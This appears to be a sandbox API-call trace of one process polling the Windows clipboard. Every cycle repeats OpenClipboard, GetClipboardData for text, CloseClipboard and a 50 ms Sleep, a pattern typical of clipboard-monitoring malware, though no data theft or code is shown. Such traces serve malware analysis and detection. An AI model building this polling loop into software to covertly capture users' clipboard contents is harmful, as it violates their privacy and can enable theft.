[0278.336] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xdc92d6, dwHighDateTime=0x1d96e13))
[0278.336] OpenClipboard (hWndNewOwner=0x0) returned 1
[0278.336] GetClipboardData (uFormat=0x1) returned 0x0
[0278.336] CloseClipboard () returned 1
[0278.336] Sleep (dwMilliseconds=0x32)
[0278.351] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xdef522, dwHighDateTime=0x1d96e13))
[0278.351] OpenClipboard (hWndNewOwner=0x0) returned 1
[0278.351] GetClipboardData (uFormat=0x1) returned 0x0
[0278.351] CloseClipboard () returned 1
[0278.351] Sleep (dwMilliseconds=0x32)
[0278.367] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe1576e, dwHighDateTime=0x1d96e13))
[0278.367] OpenClipboard (hWndNewOwner=0x0) returned 1
[0278.367] GetClipboardData (uFormat=0x1) returned 0x0
[0278.367] CloseClipboard () returned 1
[0278.367] Sleep (dwMilliseconds=0x32)
[0278.382] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe3ba56, dwHighDateTime=0x1d96e13))
[0278.382] OpenClipboard (hWndNewOwner=0x0) returned 1
[0278.382] GetClipboardData (uFormat=0x1) returned 0x0
[0278.383] CloseClipboard () returned 1
[0278.383] Sleep (dwMilliseconds=0x32)
[0278.398] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe61cb7, dwHighDateTime=0x1d96e13))
[0278.398] OpenClipboard (hWndNewOwner=0x0) returned 1
[0278.398] GetClipboardData (uFormat=0x1) returned 0x0
[0278.398] CloseClipboard () returned 1
[0278.398] Sleep (dwMilliseconds=0x32)
[0278.414] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe87edd, dwHighDateTime=0x1d96e13))
[0278.414] OpenClipboard (hWndNewOwner=0x0) returned 1
[0278.414] GetClipboardData (uFormat=0x1) returned 0x0
[0278.414] CloseClipboard () returned 1
[0278.414] Sleep (dwMilliseconds=0x32)
[0278.434] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xeae109, dwHighDateTime=0x1d96e13))
[0278.434] OpenClipboard (hWndNewOwner=0x0) returned 1
[0278.434] GetClipboardData (uFormat=0x1) returned 0x0
[0278.434] CloseClipboard () returned 1
[0278.434] Sleep (dwMilliseconds=0x32)
[0278.445] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xed432f, dwHighDateTime=0x1d96e13))
[0278.445] OpenClipboard (hWndNewOwner=0x0) returned 1
[0278.445] GetClipboardData (uFormat=0x1) returned 0x0
[0278.445] CloseClipboard () returned 1
[0278.445] Sleep (dwMilliseconds=0x32)
[0278.461] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xefa625, dwHighDateTime=0x1d96e13))
[0278.461] OpenClipboard (hWndNewOwner=0x0) returned 1
[0278.461] GetClipboardData (uFormat=0x1) returned 0x0
[0278.461] CloseClipboard () returned 1
[0278.461] Sleep (dwMilliseconds=0x32)
[0278.476] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf20844, dwHighDateTime=0x1d96e13))
[0278.476] OpenClipboard (hWndNewOwner=0x0) returned 1
[0278.476] GetClipboardData (uFormat=0x1) returned 0x0
[0278.476] CloseClipboard () returned 1
[0278.477] Sleep (dwMilliseconds=0x32)
[0278.492] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf46a51, dwHighDateTime=0x1d96e13))
[0278.492] OpenClipboard (hWndNewOwner=0x0) returned 1
[0278.492] GetClipboardData (uFormat=0x1) returned 0x0
[0278.492] CloseClipboard () returned 1
[0278.492] Sleep (dwMilliseconds=0x32)
[0278.507] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf6cd40, dwHighDateTime=0x1d96e13))
[0278.508] OpenClipboard (hWndNewOwner=0x0) returned 1
[0278.508] GetClipboardData (uFormat=0x1) returned 0x0
[0278.508] CloseClipboard () returned 1
[0278.508] Sleep (dwMilliseconds=0x32)
[0278.523] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf92f56, dwHighDateTime=0x1d96e13))
[0278.523] OpenClipboard (hWndNewOwner=0x0) returned 1
[0278.523] GetClipboardData (uFormat=0x1) returned 0x0
[0278.523] CloseClipboard () returned 1
[0278.523] Sleep (dwMilliseconds=0x32)
[0278.539] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfb914e, dwHighDateTime=0x1d96e13))
[0278.539] OpenClipboard (hWndNewOwner=0x0) returned 1
[0278.539] GetClipboardData (uFormat=0x1) returned 0x0
[0278.539] CloseClipboard () returned 1
[0278.539] Sleep (dwMilliseconds=0x32)
[0278.554] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfdf430, dwHighDateTime=0x1d96e13))
[0278.554] OpenClipboard (hWndNewOwner=0x0) returned 1
[0278.554] GetClipboardData (uFormat=0x1) returned 0x0
[0278.554] CloseClipboard () returned 1
[0278.554] Sleep (dwMilliseconds=0x32)
[0278.570] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0x100562b, dwHighDateTime=0x1d96e13))
[0278.570] OpenClipboard (hWndNewOwner=0x0) returned 1
[0278.570] GetClipboardData (uFormat=0x1) returned 0x0
[0278.570] CloseClipboard () returned 1
[0278.570] Sleep (dwMilliseconds=0x32)
[0278.586] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0x102b8f2, dwHighDateTime=0x1d96e13))
[0278.586] OpenClipboard (hWndNewOwner=0x0) returned 1
[0278.586] GetClipboardData (uFormat=0x1) returned 0x0
[0278.586] CloseClipboard () returned 1
[0278.586] Sleep (dwMilliseconds=0x32)
[0278.601] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0x1051b1d, dwHighDateTime=0x1d96e13))
[0278.601] OpenClipboard (hWndNewOwner=0x0) returned 1
[0278.601] GetClipboardData (uFormat=0x1) returned 0x0
[0278.601] CloseClipboard () returned 1
[0278.601] Sleep (dwMilliseconds=0x32)
[0278.617] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0x1077d9c, dwHighDateTime=0x1d96e13))
[0278.617] OpenClipboard (hWndNewOwner=0x0) returned 1
[0278.617] GetClipboardData (uFormat=0x1) returned 0x0
[0278.617] CloseClipboard () returned 1
[0278.617] Sleep (dwMilliseconds=0x32)
[0278.635] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0x109dfe3, dwHighDateTime=0x1d96e13))
[0278.635] OpenClipboard (hWndNewOwner=0x0) returned 1
[0278.635] GetClipboardData (uFormat=0x1) returned 0x0
[0278.635] CloseClipboard () returned 1
[0278.635] Sleep (dwMilliseconds=0x32)
[0278.648] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0x10c41c0, dwHighDateTime=0x1d96e13))
[0278.648] OpenClipboard (hWndNewOwner=0x0) returned 1
[0278.648] GetClipboardData (uFormat=0x1) returned 0x0
[0278.648] CloseClipboard () returned 1
[0278.648] Sleep (dwMilliseconds=0x32)
[0278.671] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0x10ea417, dwHighDateTime=0x1d96e13))
[0278.671] OpenClipboard (hWndNewOwner=0x0) returned 1
[0278.671] GetClipboardData (uFormat=0x1) returned 0x0
[0278.671] CloseClipboard () returned 1
[0278.671] Sleep (dwMilliseconds=0x32)
[0278.679] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0x1110669, dwHighDateTime=0x1d96e13))
[0278.679] OpenClipboard (hWndNewOwner=0x0) returned 1
[0278.679] GetClipboardData (uFormat=0x1) returned 0x0
[0278.679] CloseClipboard () returned 1
[0278.680] Sleep (dwMilliseconds=0x32)
[0278.696] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0x11368c7, dwHighDateTime=0x1d96e13))
[0278.696] OpenClipboard (hWndNewOwner=0x0) returned 1
[0278.697] GetClipboardData (uFormat=0x1) returned 0x0
[0278.697] CloseClipboard () returned 1
[0278.697] Sleep (dwMilliseconds=0x32)
[0278.711] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0x115cb32, dwHighDateTime=0x1d96e13))
[0278.711] OpenClipboard (hWndNewOwner=0x0) returned 1
[0278.711] GetClipboardData (uFormat=0x1) returned 0x0
[0278.711] CloseClipboard () returned 1
[0278.711] Sleep (dwMilliseconds=0x32)
[0278.726] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0x1182d7e, dwHighDateTime=0x1d96e13))
[0278.726] OpenClipboard (hWndNewOwner=0x0) returned 1
[0278.726] GetClipboardData (uFormat=0x1) returned 0x0
[0278.726] CloseClipboard () returned 1
[0278.726] Sleep (dwMilliseconds=0x32)
[0278.743] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0x11a8fd3, dwHighDateTime=0x1d96e13))
[0278.743] OpenClipboard (hWndNewOwner=0x0) returned 1
[0278.744] GetClipboardData (uFormat=0x1) returned 0x0
[0278.744] CloseClipboard () returned 1
[0278.744] Sleep (dwMilliseconds=0x32)
[0278.757] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0x11cf22e, dwHighDateTime=0x1d96e13))
[0278.757] OpenClipboard (hWndNewOwner=0x0) returned 1
[0278.758] GetClipboardData (uFormat=0x1) returned 0x0
[0278.758] CloseClipboard () returned 1
[0278.758] Sleep (dwMilliseconds=0x32)
[0278.773] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0x11f548b, dwHighDateTime=0x1d96e13))
[0278.773] OpenClipboard (hWndNewOwner=0x0) returned 1
[0278.773] GetClipboardData (uFormat=0x1) returned 0x0
[0278.773] CloseClipboard () returned 1
[0278.773] Sleep (dwMilliseconds=0x32)
[0278.790] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0x121b6db, dwHighDateTime=0x1d96e13))
[0278.790] OpenClipboard (hWndNewOwner=0x0) returned 1
[0278.790] GetClipboardData (uFormat=0x1) returned 0x0
[0278.790] CloseClipboard () returned 1
[0278.790] Sleep (dwMilliseconds=0x32)
[0278.804] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0x124193a, dwHighDateTime=0x1d96e13))
[0278.804] OpenClipboard (hWndNewOwner=0x0) returned 1
[0278.804] GetClipboardData (uFormat=0x1) returned 0x0
[0278.804] CloseClipboard () returned 1
[0278.805] Sleep (dwMilliseconds=0x32)
[0278.821] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0x1267b94, dwHighDateTime=0x1d96e13))
[0278.821] OpenClipboard (hWndNewOwner=0x0) returned 1
[0278.822] GetClipboardData (uFormat=0x1) returned 0x0
[0278.822] CloseClipboard () returned 1
[0278.822] Sleep (dwMilliseconds=0x32)
[0278.836] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0x128ddfa, dwHighDateTime=0x1d96e13))
[0278.836] OpenClipboard (hWndNewOwner=0x0) returned 1
[0278.836] GetClipboardData (uFormat=0x1) returned 0x0
[0278.836] CloseClipboard () returned 1
[0278.836] Sleep (dwMilliseconds=0x32)
[0278.851] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0x12b4048, dwHighDateTime=0x1d96e13))
[0278.851] OpenClipboard (hWndNewOwner=0x0) returned 1
[0278.852] GetClipboardData (uFormat=0x1) returned 0x0
[0278.852] CloseClipboard () returned 1
[0278.852] Sleep (dwMilliseconds=0x32)
[0278.867] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0x12da2c0, dwHighDateTime=0x1d96e13))
[0278.867] OpenClipboard (hWndNewOwner=0x0) returned 1
[0278.867] GetClipboardData (uFormat=0x1) returned 0x0
[0278.867] CloseClipboard () returned 1
[0278.867] Sleep (dwMilliseconds=0x32)
[0278.882] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0x13004f9, dwHighDateTime=0x1d96e13))
[0278.882] OpenClipboard (hWndNewOwner=0x0) returned 1
[0278.883] GetClipboardData (uFormat=0x1) returned 0x0
[0278.883] CloseClipboard () returned 1
[0278.883] Sleep (dwMilliseconds=0x32)
[0278.898] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0x132675b, dwHighDateTime=0x1d96e13))
[0278.898] OpenClipboard (hWndNewOwner=0x0) returned 1
[0278.898] GetClipboardData (uFormat=0x1) returned 0x0
[0278.898] CloseClipboard () returned 1
[0278.898] Sleep (dwMilliseconds=0x32)
[0278.915] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0x134c9b2, dwHighDateTime=0x1d96e13))
[0278.915] OpenClipboard (hWndNewOwner=0x0) returned 1
[0278.915] GetClipboardData (uFormat=0x1) returned 0x0
[0278.916] CloseClipboard () returned 1
[0278.916] Sleep (dwMilliseconds=0x32)
[0278.929] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0x1372c0e, dwHighDateTime=0x1d96e13))
[0278.929] OpenClipboard (hWndNewOwner=0x0) returned 1
[0278.929] GetClipboardData (uFormat=0x1) returned 0x0
[0278.929] CloseClipboard () returned 1
[0278.930] Sleep (dwMilliseconds=0x32)
[0278.946] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0x1398e64, dwHighDateTime=0x1d96e13))
[0278.946] OpenClipboard (hWndNewOwner=0x0) returned 1
[0278.946] GetClipboardData (uFormat=0x1) returned 0x0
[0278.947] CloseClipboard () returned 1
[0278.947] Sleep (dwMilliseconds=0x32)
[0278.961] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0x13bf0c7, dwHighDateTime=0x1d96e13))
[0278.961] OpenClipboard (hWndNewOwner=0x0) returned 1
[0278.961] GetClipboardData (uFormat=0x1) returned 0x0
[0278.961] CloseClipboard () returned 1
[0278.961] Sleep (dwMilliseconds=0x32)
[0278.976] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0x13e531d, dwHighDateTime=0x1d96e13))
[0278.976] OpenClipboard (hWndNewOwner=0x0) returned 1
[0278.976] GetClipboardData (uFormat=0x1) returned 0x0
[0278.976] CloseClipboard () returned 1
[0278.976] Sleep (dwMilliseconds=0x32)
[0278.993] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0x140b584, dwHighDateTime=0x1d96e13))
[0278.993] OpenClipboard (hWndNewOwner=0x0) returned 1
[0278.993] GetClipboardData (uFormat=0x1) returned 0x0
[0278.994] CloseClipboard () returned 1
[0278.994] Sleep (dwMilliseconds=0x32)
[0279.007] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0x14317ce, dwHighDateTime=0x1d96e13))
[0279.007] OpenClipboard (hWndNewOwner=0x0) returned 1
[0279.007] GetClipboardData (uFormat=0x1) returned 0x0
[0279.008] CloseClipboard () returned 1
[0279.008] Sleep (dwMilliseconds=0x32)
[0279.023] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0x1457a2e, dwHighDateTime=0x1d96e13))
[0279.023] OpenClipboard (hWndNewOwner=0x0) returned 1
[0279.023] GetClipboardData (uFormat=0x1) returned 0x0
[0279.023] CloseClipboard () returned 1
[0279.023] Sleep (dwMilliseconds=0x32)
[0279.040] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0x147dc8b, dwHighDateTime=0x1d96e13))
[0279.040] OpenClipboard (hWndNewOwner=0x0) returned 1
[0279.040] GetClipboardData (uFormat=0x1) returned 0x0
[0279.040] CloseClipboard () returned 1
[0279.040] Sleep (dwMilliseconds=0x32)
[0279.054] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0x14a3edc, dwHighDateTime=0x1d96e13))
[0279.054] OpenClipboard (hWndNewOwner=0x0) returned 1
[0279.054] GetClipboardData (uFormat=0x1) returned 0x0
[0279.055] CloseClipboard () returned 1
[0279.055] Sleep (dwMilliseconds=0x32)
[0279.072] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0x14ca139, dwHighDateTime=0x1d96e13))
[0279.072] OpenClipboard (hWndNewOwner=0x0) returned 1
[0279.072] GetClipboardData (uFormat=0x1) returned 0x0
[0279.072] CloseClipboard () returned 1
[0279.072] Sleep (dwMilliseconds=0x32)
[0279.086] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0x14f0397, dwHighDateTime=0x1d96e13))
[0279.086] OpenClipboard (hWndNewOwner=0x0) returned 1
[0279.086] GetClipboardData (uFormat=0x1) returned 0x0
[0279.086] CloseClipboard () returned 1
[0279.086] Sleep (dwMilliseconds=0x32)
[0279.101] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0x15165eb, dwHighDateTime=0x1d96e13))
[0279.101] OpenClipboard (hWndNewOwner=0x0) returned 1
[0279.101] GetClipboardData (uFormat=0x1) returned 0x0
[0279.101] CloseClipboard () returned 1
[0279.101] Sleep (dwMilliseconds=0x32)
[0279.119] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0x153c843, dwHighDateTime=0x1d96e13))
[0279.119] OpenClipboard (hWndNewOwner=0x0) returned 1
[0279.119] GetClipboardData (uFormat=0x1) returned 0x0
[0279.119] CloseClipboard () returned 1
[0279.119] Sleep (dwMilliseconds=0x32)
[0279.132] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0x1562aa6, dwHighDateTime=0x1d96e13))
[0279.132] OpenClipboard (hWndNewOwner=0x0) returned 1
[0279.132] GetClipboardData (uFormat=0x1) returned 0x0
[0279.133] CloseClipboard () returned 1
[0279.133] Sleep (dwMilliseconds=0x32)
[0279.148] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0x1588d01, dwHighDateTime=0x1d96e13))
[0279.148] OpenClipboard (hWndNewOwner=0x0) returned 1
[0279.148] GetClipboardData (uFormat=0x1) returned 0x0
[0279.148] CloseClipboard () returned 1
[0279.148] Sleep (dwMilliseconds=0x32)
[0279.165] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0x15aef53, dwHighDateTime=0x1d96e13))
[0279.165] OpenClipboard (hWndNewOwner=0x0) returned 1
[0279.165] GetClipboardData (uFormat=0x1) returned 0x0
[0279.165] CloseClipboard () returned 1
[0279.165] Sleep (dwMilliseconds=0x32)
[0279.180] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0x15d51b5, dwHighDateTime=0x1d96e13))
[0279.180] OpenClipboard (hWndNewOwner=0x0) returned 1
[0279.180] GetClipboardData (uFormat=0x1) returned 0x0
[0279.180] CloseClipboard () returned 1
[0279.182] Sleep (dwMilliseconds=0x32)
[0279.196] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0x15fb40c, dwHighDateTime=0x1d96e13))
[0279.196] OpenClipboard (hWndNewOwner=0x0) returned 1
[0279.196] GetClipboardData (uFormat=0x1) returned 0x0
[0279.197] CloseClipboard () returned 1
[0279.197] Sleep (dwMilliseconds=0x32)
[0279.211] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0x1621670, dwHighDateTime=0x1d96e13))
[0279.211] OpenClipboard (hWndNewOwner=0x0) returned 1
[0279.211] GetClipboardData (uFormat=0x1) returned 0x0
[0279.211] CloseClipboard () returned 1
[0279.211] Sleep (dwMilliseconds=0x32)
[0279.226] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0x16478bb, dwHighDateTime=0x1d96e13))
[0279.226] OpenClipboard (hWndNewOwner=0x0) returned 1
[0279.226] GetClipboardData (uFormat=0x1) returned 0x0
[0279.226] CloseClipboard () returned 1
[0279.226] Sleep (dwMilliseconds=0x32)
[0279.243] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0x166fab3, dwHighDateTime=0x1d96e13))
[0279.243] OpenClipboard (hWndNewOwner=0x0) returned 1
[0279.243] GetClipboardData (uFormat=0x1) returned 0x0
[0279.243] CloseClipboard () returned 1
[0279.243] Sleep (dwMilliseconds=0x32)
[0279.257] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0x1693d72, dwHighDateTime=0x1d96e13))
[0279.257] OpenClipboard (hWndNewOwner=0x0) returned 1
[0279.258] GetClipboardData (uFormat=0x1) returned 0x0
[0279.258] CloseClipboard () returned 1
[0279.258] Sleep (dwMilliseconds=0x32)
[0279.273] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0x16b9fc8, dwHighDateTime=0x1d96e13))
[0279.273] OpenClipboard (hWndNewOwner=0x0) returned 1
[0279.273] GetClipboardData (uFormat=0x1) returned 0x0
[0279.273] CloseClipboard () returned 1
[0279.273] Sleep (dwMilliseconds=0x32)
[0279.290] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0x16e0220, dwHighDateTime=0x1d96e13))
[0279.290] OpenClipboard (hWndNewOwner=0x0) returned 1
[0279.290] GetClipboardData (uFormat=0x1) returned 0x0
[0279.290] CloseClipboard () returned 1
[0279.291] Sleep (dwMilliseconds=0x32)
[0279.304] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0x170647a, dwHighDateTime=0x1d96e13))
[0279.304] OpenClipboard (hWndNewOwner=0x0) returned 1
[0279.304] GetClipboardData (uFormat=0x1) returned 0x0
[0279.305] CloseClipboard () returned 1
[0279.305] Sleep (dwMilliseconds=0x32)
[0279.321] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0x172c6d6, dwHighDateTime=0x1d96e13))
[0279.321] OpenClipboard (hWndNewOwner=0x0) returned 1
[0279.321] GetClipboardData (uFormat=0x1) returned 0x0
[0279.322] CloseClipboard () returned 1
[0279.322] Sleep (dwMilliseconds=0x32)
[0279.336] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0x1752934, dwHighDateTime=0x1d96e13))
[0279.336] OpenClipboard (hWndNewOwner=0x0) returned 1
[0279.336] GetClipboardData (uFormat=0x1) returned 0x0
[0279.336] CloseClipboard () returned 1
[0279.336] Sleep (dwMilliseconds=0x32)
[0279.351] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0x1778b84, dwHighDateTime=0x1d96e13))
[0279.351] OpenClipboard (hWndNewOwner=0x0) returned 1
[0279.351] GetClipboardData (uFormat=0x1) returned 0x0
[0279.351] CloseClipboard () returned 1
[0279.351] Sleep (dwMilliseconds=0x32)
[0279.368] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0x179ede5, dwHighDateTime=0x1d96e13))
[0279.368] OpenClipboard (hWndNewOwner=0x0) returned 1
[0279.368] GetClipboardData (uFormat=0x1) returned 0x0
[0279.368] CloseClipboard () returned 1
[0279.368] Sleep (dwMilliseconds=0x32)
[0279.382] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0x17c504d, dwHighDateTime=0x1d96e13))
[0279.383] OpenClipboard (hWndNewOwner=0x0) returned 1
[0279.383] GetClipboardData (uFormat=0x1) returned 0x0
[0279.383] CloseClipboard () returned 1
[0279.383] Sleep (dwMilliseconds=0x32)
[0279.398] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0x17eb29b, dwHighDateTime=0x1d96e13))
[0279.398] OpenClipboard (hWndNewOwner=0x0) returned 1
[0279.398] GetClipboardData (uFormat=0x1) returned 0x0
[0279.398] CloseClipboard () returned 1
[0279.398] Sleep (dwMilliseconds=0x32)
[0279.415] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0x18114ea, dwHighDateTime=0x1d96e13))
[0279.415] OpenClipboard (hWndNewOwner=0x0) returned 1
[0279.415] GetClipboardData (uFormat=0x1) returned 0x0
[0279.415] CloseClipboard () returned 1
[0279.415] Sleep (dwMilliseconds=0x32)
[0279.460] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0x185da10, dwHighDateTime=0x1d96e13))
[0279.460] OpenClipboard (hWndNewOwner=0x0) returned 1
[0279.460] GetClipboardData (uFormat=0x1) returned 0x0
[0279.460] CloseClipboard () returned 1
[0279.460] Sleep (dwMilliseconds=0x32)
